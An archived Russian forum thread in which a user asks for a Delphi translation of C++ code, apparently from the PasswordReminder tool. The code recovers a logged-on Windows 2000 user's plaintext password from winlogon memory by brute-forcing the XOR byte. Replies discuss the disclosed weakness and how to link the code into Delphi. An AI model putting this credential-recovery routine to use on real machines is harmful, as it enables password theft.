Форум: "WinAPI";
Текущий архив: 2003.01.13;
Скачать: [xml.tar.bz2];
ВнизПомогите перевести код! Найти похожие ветки
← →
SVM (2002-11-21 14:36) [0]Есть код на C++, необходимо перевести на DELPHI.
Всем заранее спасибо!
void
DisplayPasswordWin2K
(void)
{
DWORD i, Hash = 0;
UNICODE_STRING EncodedString;
EncodedString.Length =
(USHORT) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength =
((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =
(PWSTR) HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);
// This is a brute force technique since the hash-byte
// is not stored as part of the encoded string - :>(.
for (i = 0; i <= 0xff; i++)
{
CopyMemory
(EncodedString.Buffer,
PasswordP,
PasswordLength * sizeof (wchar_t));
// Finally - try to decode the password.
pfnRtlRunDecodeUnicodeString
((BYTE) i,
&EncodedString);
// Check for a viewable password.
PBYTE p = (PBYTE) EncodedString.Buffer;
BOOL Viewable = TRUE;
DWORD j, k;
for (j = 0; (j < PasswordLength) && Viewable; j++)
{
if ((*p)
&&
(* (PBYTE)(DWORD (p) + 1) == 0))
{
if (*p < 0x20)
Viewable = FALSE;
if (*p > 0x7e)
Viewable = FALSE;
}
else
Viewable = FALSE;
k = DWORD (p);
k++; k++;
p = (PBYTE) k;
}
if (Viewable)
{
printf
("The logon information is: %S/%S/%S.\n",
UserDomain,
UserName,
EncodedString.Buffer);
printf
("The hash byte is: 0x%2.2x.\n",
i);
}
}
HeapFree
(GetProcessHeap (),
0,
EncodedString.Buffer);
} // DisplayPasswordWin2K
← →
Игорь Шевченко (2002-11-21 14:53) [1]А вот хренушки... :-)
← →
cdadmitriy (2002-11-21 14:58) [2]А сначало полный код можно ?
← →
paul_shmakov (2002-11-21 16:48) [3]автор полного кода - Russ Osterlund ( http://www.smidgeonsoft.com/). программа называется PasswordReminder. основана на том факте, что по nt/2k имя пользователя и пароль в открытом виде хранятся в процессе winlogon.exe (при условии использования стандартной gina dll). хранятся они там для осуществления аутентификации на удаленных машинах, хотя по идее для этих целей должен использоваться токен пользователя.
2 SVM:
надежда, что кто-то за вас выполнит тупую работу - это плохо :)
← →
Игорь Шевченко (2002-11-21 17:06) [4]paul_shmakov © (21.11.02 16:48)
А Руссинович пишет, что Token используется...
← →
apay (2002-11-21 19:28) [5]а зачем переводить-то :), компильни в .obj и прилинкуй в дельфях:
{$L myobj.obj}
← →
raven79 (2002-11-21 19:32) [6]можно и так... но я так смотрю врод не сложно и переводить...
← →
paul_shmakov (2002-11-21 21:01) [7]2 Игорь Шевченко:
конечно, по всем правилам (да и по логике вещей) должен использоваться токен, но когда Russ Osterlund обнаружил, что пароль лежит в открытом виде (почти, он проксорен), то сразу стали искать, а где к нему обращения есть. в результате поиска выяснилось, что он используется при авторизации на удаленных машинах.
вот такие пироги.
см. изначальный пост в bugtraq
http://archives.neohapsis.com/archives/ntbugtraq/1998-1999/msg00178.html
там внизу ссылка - ответ Dave Mills.
← →
paul_shmakov (2002-11-21 21:03) [8]кстати, Russell Osterlund является главным инженером BoundChecker в NuMega :) вот и получается, что ближе к ядру, тем меньше случайных людей :)
← →
SVM (2002-11-21 21:15) [9]Мда, думается, что мне никто не поможет...
2 apay Никогда с этим не сталкивался, можно поподробнее pliz
← →
Игорь Шевченко (2002-11-22 10:44) [10]paul_shmakov © (21.11.02 21:01)
Руссинович про Win2K пишет, может, там оно уже поправлено ? :-)
← →
paul_shmakov (2002-11-22 12:41) [11]2 Игорь Шевченко:
программа PasswordReminder под w2k прекрасно работает :) т.е. пароль все так же хранится в адресном пространстве winlogon.
единственное, что они поправили - в win2k вместе с паролем не хранится байт, с которым этот пароль проксорен (в nt хранился). но и эта проблема легко решается перебором 256 вариантов (см. код вверху).
← →
Игорь Шевченко (2002-11-22 12:44) [12]paul_shmakov © (22.11.02 12:41)
Спасибо. Осталось под WinXP проверить :-) Там, вроде, много дырок заткнули...
С уважением,
← →
apay (2002-11-22 20:05) [13]2 SVM
компилишь в .obj любым C-компилятором, который делает OMF, например борландовским bcc32.exe, потом в делфях пишешь
{$L myfile.obj}
procedure DisplayPasswordWin2K; external;
только printf может мешаться, но его можно заменить на апишную wsprintfA (на сях придетсянемного подправить).
но еще лучше подучить C++.
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2003.01.13;
Скачать: [xml.tar.bz2];
Память: 0.47 MB
Время: 0.009 c